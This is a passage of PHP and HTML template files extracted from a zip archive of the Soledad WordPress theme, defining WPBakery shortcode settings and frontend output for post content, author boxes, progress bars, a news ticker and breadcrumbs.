            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

				<?php the_content(); ?>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
    </article>
<?php
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['main-link-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry a{color:' . $settings['main-link-color'] . ';}';
}
if ( $settings['main-link-hcolor'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry a:hover{color:' . $settings['main-link-hcolor'] . ';}';
}
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['main-text-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry{color:' . $settings['main-text-color'] . ';}';
}
if ( $settings['content-h1-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h1-color'] . ';}';
}
if ( $settings['content-h2-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h2-color'] . ';}';
}
if ( $settings['content-h3-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h3-color'] . ';}';
}
if ( $settings['content-h4-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h4-color'] . ';}';
}
if ( $settings['content-h5-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h5-color'] . ';}';
}
if ( $settings['content-h6-color'] ) {
	$css_custom .= '#' . $block_id . ' .post-entry h1{color:' . $settings['content-h6-color'] . ';}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( '#' . $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\}pfD
  D
  8  inc/js_composer/shortcodes/pc_single_author/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_author",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_author/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Author', 'soledad' ),
	'description'   => 'Post Builder - Author',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Author Box Style', 'soledad' ),
			'param_name'       => 'penci_authorbio_style',
			'value'            => array(
				'Default' => 'style-1',
				'Style 2' => 'style-2',
				'Style 3' => 'style-3',
				'Style 4' => 'style-4',
				'Style 5' => 'style-5',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Author Box Image Style', 'soledad' ),
			'param_name'       => 'penci_bioimg_style',
			'value'            => array(
				'Round'         => 'round',
				'Square'        => 'square',
				'Round Borders' => 'sround',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Image Size', 'soledad' ),
			'param_name'       => 'penci_author_ava_size',
			'edit_field_class' => 'vc_col-sm-6',
			'std'              => 100
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Author Name', 'soledad' ),
			'param_name'       => 'color_name',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for General Text', 'soledad' ),
			'param_name'       => 'color_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Text Link', 'soledad' ),
			'param_name'       => 'color_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Hover Color for Text Link', 'soledad' ),
			'param_name'       => 'hcolor_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\D    8  inc/js_composer/shortcodes/pc_single_author/frontend.phpnu [        <?php
$settings  = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class = vc_shortcode_custom_css_class( $settings['css'] );
$mods      = [
	'penci_authorbio_style',
	'penci_author_ava_size',
	'penci_bioimg_style'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return $value;
	} );
}
echo '<div class="' . $css_class . '">';
get_template_part( 'inc/templates/about_author' );
echo '</div>';
PK     N\gպ    4  inc/js_composer/shortcodes/progress_bar/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_progress_bar',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/progress_bar/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Progress Bar', 'soledad' ),
	'description'   => __( 'Progress Bar Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'param_group',
				'heading'     => __( 'Values', 'soledad' ),
				'param_name'  => 'values',
				'description' => __( 'Enter values for graph - value, title and color.', 'soledad' ),
				'value'       => urlencode( json_encode( array(
					array(
						'label' => __( 'Development', 'soledad' ),
						'value' => '90',
					),
					array(
						'label' => __( 'Design', 'soledad' ),
						'value' => '80',
					),
					array(
						'label' => __( 'Marketing', 'soledad' ),
						'value' => '70',
					),
				) ) ),
				'params'      => array(
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Label', 'soledad' ),
						'param_name'  => 'label',
						'description' => __( 'Enter text used as title of bar.', 'soledad' ),
						'admin_label' => true,
					),
					array(
						'type'        => 'textfield',
						'heading'     => __( 'Value', 'soledad' ),
						'param_name'  => 'value',
						'description' => __( 'Enter value of bar.', 'soledad' ),
						'admin_label' => true,
					),
					array(
						'type'        => 'colorpicker',
						'heading'     => __( 'Custom background color', 'soledad' ),
						'param_name'  => 'bgcolor',
						'description' => __( 'Select custom single bar background color.', 'soledad' )
					),
					array(
						'type'        => 'colorpicker',
						'heading'     => __( 'Custom text color', 'soledad' ),
						'param_name'  => 'textcolor',
						'description' => __( 'Select custom single bar text color.', 'soledad' ),
						'dependency'  => array(
							'element' => 'color',
							'value'   => array( 'custom' ),
						),
					),
				),
			),
			array(
				'type'       => 'penci_only_number',
				'heading'    => esc_html__( 'Custom height for bar', 'soledad' ),
				'param_name' => 'bar_height',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => esc_html__( 'Custom margin top for bar', 'soledad' ),
				'param_name' => 'bar_mar_top',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'heading'    => esc_html__( 'Custom margin bottom for bar', 'soledad' ),
				'param_name' => 'bar_mar_bottom',
				'value'      => '',
				'min'        => 1,
				'max'        => 100,
				'suffix'     => 'px',
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'Units', 'soledad' ),
				'param_name'  => 'units',
				'description' => __( 'Enter measurement units (Example: %, px, points, etc. Note: graph value and units will be appended to graph title).', 'soledad' ),
			),
			array(
				'type'       => 'checkbox',
				'heading'    => __( 'Options', 'soledad' ),
				'param_name' => 'options',
				'value'      => array(
					__( 'Add stripes', 'soledad' )                                          => 'striped',
					__( 'Add animation (Note: visible only with striped bar).', 'soledad' ) => 'animated',
				),
			)
		),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'progress_typo_heading',
				'heading'          => esc_html__( 'Progress Bar', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar custom text color', 'soledad' ),
				'param_name'  => 'bar_textcolor',
				'description' => __( 'Select custom text color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar process run custom background color', 'soledad' ),
				'param_name'  => 'bar_run_bgcolor',
				'description' => __( 'Select custom background color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
			array(
				'type'        => 'colorpicker',
				'heading'     => __( 'Bar custom background color', 'soledad' ),
				'param_name'  => 'bar_bgcolor',
				'description' => __( 'Select custom background color for bars.', 'soledad' ),
				'group'       => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\z5  5  4  inc/js_composer/shortcodes/progress_bar/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$bar_height    = $bar_mar_top = $bar_mar_bottom = '';
$bar_textcolor = $bar_run_bgcolor = $bar_bgcolor = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$values = (array) vc_param_group_parse_atts( $atts['values'] );

if ( empty( $values ) ) {
	return;
}

wp_enqueue_script( 'waypoints' );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-progress-bar';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'progress_bar' );

$bar_options = array();
$options     = explode( ',', $atts['options'] );
if ( in_array( 'animated', $options ) ) {
	$bar_options[] = 'animated penci-probar-animated';
}
if ( in_array( 'striped', $options ) ) {
	$bar_options[] = 'penci-probar-striped';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
        <div class="penci-block_content">
            <ul class="penci-probar-items">
				<?php
				$line_output = '';

				$max_value        = 0.0;
				$graph_lines_data = array();
				foreach ( $values as $data ) {
					$new_line             = $data;
					$new_line['value']    = isset( $data['value'] ) ? $data['value'] : 0;
					$new_line['label']    = isset( $data['label'] ) ? $data['label'] : '';
					$new_line['bgcolor']  = isset( $data['bgcolor'] ) ? ' style="background-color: ' . esc_attr( $data['bgcolor'] ) . ';"' : '';
					$new_line['txtcolor'] = isset( $data['textcolor'] ) ? ' style="color: ' . esc_attr( $data['textcolor'] ) . ';"' : '';

					if ( $max_value < (float) $new_line['value'] ) {
						$max_value = $new_line['value'];
					}
					$graph_lines_data[] = $new_line;
				}

				foreach ( $graph_lines_data as $line ) {

					if ( $max_value > 100.00 ) {
						$percentage_value = (float) $line['value'] > 0 && $max_value > 100.00 ? round( (float) $line['value'] / $max_value * 100, 4 ) : 0;
					} else {
						$percentage_value = $line['value'];
					}
					$percentage_value = number_format( intval( $percentage_value / 10 ), 1, '.', '' );

					$line_output .= '<li class="penci-probar-item">';
					$line_output .= '<div class="penci-probar-text"' . $line['txtcolor'] . '>';
					$line_output .= '<span class="penci-probar-point">' . do_shortcode( $line['label'] ) . '</span>';
					$line_output .= '<span class="penci-probar-score">' . $line['value'] . ( isset( $atts['units'] ) ? $atts['units'] : '' ) . '</span>';
					$line_output .= '</div>';
					$line_output .= '<div class="penci-review-process">';
					$line_output .= '<span class="penci-probar-run ' . esc_attr( implode( ' ', $bar_options ) ) . '" data-width="' . $percentage_value . '"' . $line['bgcolor'] . '></span>';
					$line_output .= '</div>';
					$line_output .= '</li>';
				}

				echo $line_output;
				?>
            </ul>
        </div>
    </div>
<?php

$id_progress_bar = '#' . $block_id;
$id_progress_bar2 = '#' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_progress_bar, $atts );

if ( $bar_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-review-process{ height: {{VALUE}}px; }', $bar_height );
}
if ( $bar_mar_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-probar-item{ margin-top: {{VALUE}}px; }', $bar_mar_top );
}
if ( $bar_mar_bottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_progress_bar . ' .penci-probar-item{ margin-bottom:{{VALUE}}px; }', $bar_mar_bottom );
}

// color
if ( $bar_run_bgcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-probar-run{ background-color: ' . esc_attr( $bar_run_bgcolor ) . '; }';
}
if ( $bar_bgcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-review-process{ background-color: ' . esc_attr( $bar_bgcolor ) . '; }';
}
if ( $bar_textcolor ) {
	$css_custom .= $id_progress_bar2 . ' .penci-probar-text{ color: ' . esc_attr( $bar_textcolor ) . '; }';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_progress_bar, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\>    3  inc/js_composer/shortcodes/news_ticker/settings.phpnu [        <?php
$group_color = 'Font Size & Color';

$main_params = array(
	array(
		'type'        => 'loop',
		'heading'     => '',
		'param_name'  => 'build_query',
		'value'       => 'post_type:post|size:10',
		'settings'    => array(
			'size'      => array( 'value' => 10, 'hidden' => false ),
			'post_type' => array( 'value' => 'post', 'hidden' => false )
		),
		'description' => __( 'Create WordPress loop, to filter your posts', 'soledad' ),
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Custom "Top Posts" Text', 'soledad' ),
		'param_name' => 'tpost_text',
		'std'        => 'Top Posts',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Style for "Top Posts" Text', 'soledad' ),
		'value'      => array(
			'Default Style' => '',
			'Style 2' => 'nticker-style-2',
			'Style 3' => 'nticker-style-3',
			'Style 4' => 'nticker-style-4',
		),
		'param_name' => 'headline_style',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Display Next/Prev Icons as Buttons', 'soledad' ),
		'param_name' => 'navs_buttons',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'        => 'penci_switch',
		'heading'     => esc_html__( 'Move Next/Prev Icons/Buttons To The Right Side', 'soledad' ),
		'param_name'  => 'move_navs',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Turn off Uppercase for "Top Posts" text', 'soledad' ),
		'param_name' => 'headline_upper',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
		'param_name' => 'title_length',
		'std'        => '8',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Turn off Uppercase for Post Titles', 'soledad' ),
		'param_name' => 'titles_upper',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'penci_switch',
		'heading'    => esc_html__( 'Disable Auto Play', 'soledad' ),
		'param_name' => 'autoplay',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Autoplay Timeout', 'soledad' ),
		'param_name' => 'autotime',
		'description'    => esc_html__( '1000 = 1 second', 'soledad' ),
		'std'        => '3000',
	),
	array(
		'type'       => 'textfield',
		'heading'    => esc_html__( 'Autoplay Speed', 'soledad' ),
		'param_name' => 'autospeed',
		'description'    => esc_html__( '1000 = 1 second', 'soledad' ),
		'std'        => '300',
	),
	array(
		'type'       => 'dropdown',
		'heading'    => __( 'Transition Animation', 'soledad' ),
		'value'      => array(
			'Slide In Up' => '',
			'Fade In Right' => 'slideInRight',
			'Fade In' => 'fadeIn',
		),
		'param_name' => 'headline_anim',
	),
	
);


$typo_params    = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_fontsize',
		'heading'          => esc_html__( 'Font Size', 'soledad' ),
		'value'            => '',
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		'group'            => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'tpost_size',
		'heading'    => __( 'Font size for "Top Posts" Text', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'navs_size',
		'heading'    => __( 'Font size for Next/Prev Buttons', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'ptitles_size',
		'heading'    => __( 'Font size for Post Titles', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),

	// Colors
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_colors',
		'heading'          => esc_html__( 'Colors', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Set Borders Around The News Ticker', 'soledad' ),
		'param_name'       => 'border_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Background Color', 'soledad' ),
		'param_name'       => 'bg_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( '"Top Posts" Background Color', 'soledad' ),
		'param_name'       => 'tpost_bg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( '"Top Posts" Text Color', 'soledad' ),
		'param_name'       => 'tpost_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Icons Color', 'soledad' ),
		'param_name'       => 'navs_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Icons Hover Color', 'soledad' ),
		'param_name'       => 'navs_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Buttons Background Color', 'soledad' ),
		'param_name'       => 'navs_bg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency' => array( 'element' => 'navs_buttons', 'value' => 'yes' ),
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Next/Prev Buttons Hover Background Color', 'soledad' ),
		'param_name'       => 'navs_hbg',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
		'dependency' => array( 'element' => 'navs_buttons', 'value' => 'yes' ),
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
		'param_name'       => 'ptitle_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
		'param_name'       => 'ptitle_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
);

vc_map( array(
	'base'          => 'penci_news_ticker',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/news_ticker/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.__( 'News Ticker', 'soledad' ),
	'description'   => __( 'News Ticker', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $typo_params )
) );
PK     N\5H  H  3  inc/js_composer/shortcodes/news_ticker/frontend.phpnu [        <?php
$responsive_spacing = '';
$atts               = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'news-ticker' );

$query_args = penci_build_args_query( $atts['build_query'] );


$toptext = isset( $atts['tpost_text'] ) ? $atts['tpost_text'] : 'Top Posts';
?>
    <div class="penci-enews-ticker penci-topbar-trending" id="<?php echo esc_attr( $block_id ) ?>">
		<?php if ( $toptext ) {
			$toptext_style = $atts['headline_style'] ? $atts['headline_style'] : 'nticker-style-1';
			?>
            <span class="headline-title <?php echo $toptext_style; ?>"><?php echo $toptext; ?></span>
		<?php }

		$news             = new \WP_Query( $query_args );
		if ( $news->have_posts() ):
			$auto_play = $atts['autoplay'] ? 'yes' == $atts['autoplay'] : 'true';
			$auto_time    = $atts['autotime'] ? $atts['autotime'] : '3000';
			$auto_speed   = $atts['autospeed'] ? $atts['autospeed'] : '300';
			$title_length = $atts['title_length'] ? $atts['title_length'] : 8;
			$animation    = $atts['headline_anim'] ? $atts['headline_anim'] : 'slideInUp';
			$navs_buttons = isset( $atts['navs_buttons'] ) ? 'yes' == $atts['navs_buttons'] : false;
			?>
            <span class="penci-trending-nav<?php if ( $navs_buttons ): echo ' penci-navs-buttons'; endif; ?>">
				<a class="penci-slider-prev" href="#" aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
				<a class="penci-slider-next" href="#" aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
			</span>
            <div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-headline-posts"
                 data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
                 data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
                 <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post(); ?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
				</div>
            </div>
		<?php endif; /* End check if no posts */ ?>
    </div>
<?php
$block_id_css = '#' . $block_id;
$block_id_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

// CSS
if ( 'yes' == $atts['navs_buttons'] ) {
	$css_custom .= $block_id_css . ' .penci-trending-nav a{ height: 24px; line-height: 24px; top: 4px; background: #313131; color: #fff; float: left; }';
	$css_custom .= $block_id_css . ' .penci-trending-nav a:first-child{ margin-right: 4px; }';
}
if ( 'yes' == $atts['move_navs'] ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending .penci-trending-nav{ float: right; }';
	$css_custom .= $block_id_css . ' .headline-title{ margin-right: 10px; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-2{ margin-right: 18px; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-4{ margin-right: 19px; }';
	$css_custom .= 'body.rtl ' . $block_id_css . '.penci-topbar-trending .penci-trending-nav{ float: left; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title{ margin-right: 0; margin-left: 10px; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title.nticker-style-2{ margin-left: 18px; margin-right:0; }';
	$css_custom .= 'body.rtl ' . $block_id_css . ' .headline-title.nticker-style-4{ margin-left: 19px; margin-right:0; }';
}
if ( 'yes' == $atts['headline_upper'] ) {
	$css_custom .= $block_id_css . ' .headline-title{ text-transform: none; }';
}
if ( 'yes' == $atts['titles_upper'] ) {
	$css_custom .= $block_id_css . ' a.penci-topbar-post-title{ text-transform: none; }';
}
if ( ! empty( $atts['tpost_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' .headline-title{ font-size:{{VALUE}}px; }', $atts['tpost_size'] );
}
if ( ! empty( $atts['navs_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' .penci-trending-nav a{ font-size:{{VALUE}}px; }', $atts['navs_size'] );
}
if ( ! empty( $atts['ptitles_size'] ) ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' a.penci-topbar-post-title{ font-size:{{VALUE}}px; }', $atts['ptitles_size'] );
}
if ( ! empty( $atts['border_color'] ) ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending{ border: 1px solid ' . esc_attr( $atts['border_color'] ) . '; }';
}
if ( ! empty( $atts['bg_color'] ) ) {
	$css_custom .= $block_id_css . '.penci-topbar-trending,' . $block_id_css . ' .penci-owl-carousel .owl-item{ background-color: ' . esc_attr( $atts['bg_color'] ) . '; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-3:after{ border-color: ' . esc_attr( $atts['bg_color'] ) . '; }';
}
if ( ! empty( $atts['tpost_bg'] ) ) {
	$css_custom .= $block_id_css . ' .headline-title{ background-color: ' . esc_attr( $atts['tpost_bg'] ) . '; }';
	$css_custom .= $block_id_css . ' .headline-title.nticker-style-2:after,' . $block_id_css . ' .headline-title.nticker-style-4:after{ border-color: ' . esc_attr( $atts['tpost_bg'] ) . '; }';
}
if ( ! empty( $atts['tpost_color'] ) ) {
	$css_custom .= $block_id_css2 . ' .headline-title{ color: ' . esc_attr( $atts['tpost_color'] ) . '; }';
}
if ( ! empty( $atts['navs_color'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a{ color: ' . esc_attr( $atts['navs_color'] ) . '; }';
}
if ( ! empty( $atts['navs_hcolor'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a:hover{ color: ' . esc_attr( $atts['navs_hcolor'] ) . '; }';
}
if ( ! empty( $atts['navs_bg'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a{ background-color: ' . esc_attr( $atts['navs_bg'] ) . '; }';
}
if ( ! empty( $atts['navs_hbg'] ) ) {
	$css_custom .= $block_id_css2 . ' .penci-trending-nav a:hover{ background-color: ' . esc_attr( $atts['navs_hbg'] ) . '; }';
}
if ( ! empty( $atts['ptitle_color'] ) ) {
	$css_custom .= $block_id_css2 . ' a.penci-topbar-post-title{ color: ' . esc_attr( $atts['ptitle_color'] ) . '; }';
}
if ( ! empty( $atts['ptitle_hcolor'] ) ) {
	$css_custom .= $block_id_css2 . ' a.penci-topbar-post-title:hover{ color: ' . esc_attr( $atts['ptitle_hcolor'] ) . '; }';
}

if ( $auto_speed && '300' != $auto_speed ) {
	$auto_speed_num = (int) $auto_speed / 1000;
	$css_custom     .= $block_id_css . '.penci-topbar-trending .animated.slideOutUp,' . $block_id_css . '.penci-topbar-trending .animated.slideInUp,' . $block_id_css . '.penci-topbar-trending .animated.TickerslideOutRight,' . $block_id_css . '.penci-topbar-trending .animated.TickerslideInRight,' . $block_id_css . '.penci-topbar-trending .animated.fadeOut,' . $block_id_css . '.penci-topbar-trending .animated.fadeIn{ -webkit-animation-duration : ' . $auto_speed_num . 's; animation-duration : ' . $auto_speed_num . 's; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\_}
  
  <  inc/js_composer/shortcodes/pc_single_breadcrumb/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_breadcrumb",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_breadcrumb/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Breadcrumb', 'soledad' ),
	'description'   => 'Post Builder - Breadcrumb',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Breadcrumb Align', 'soledad' ),
			'param_name'       => 'breadcrumb_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Only Primary Category from "Yoast SEO" or "Rank Math" plugin for Breadcrumb', 'soledad' ),
			'param_name'       => 'enable_pri_cat_yoast_seo',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb-l-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
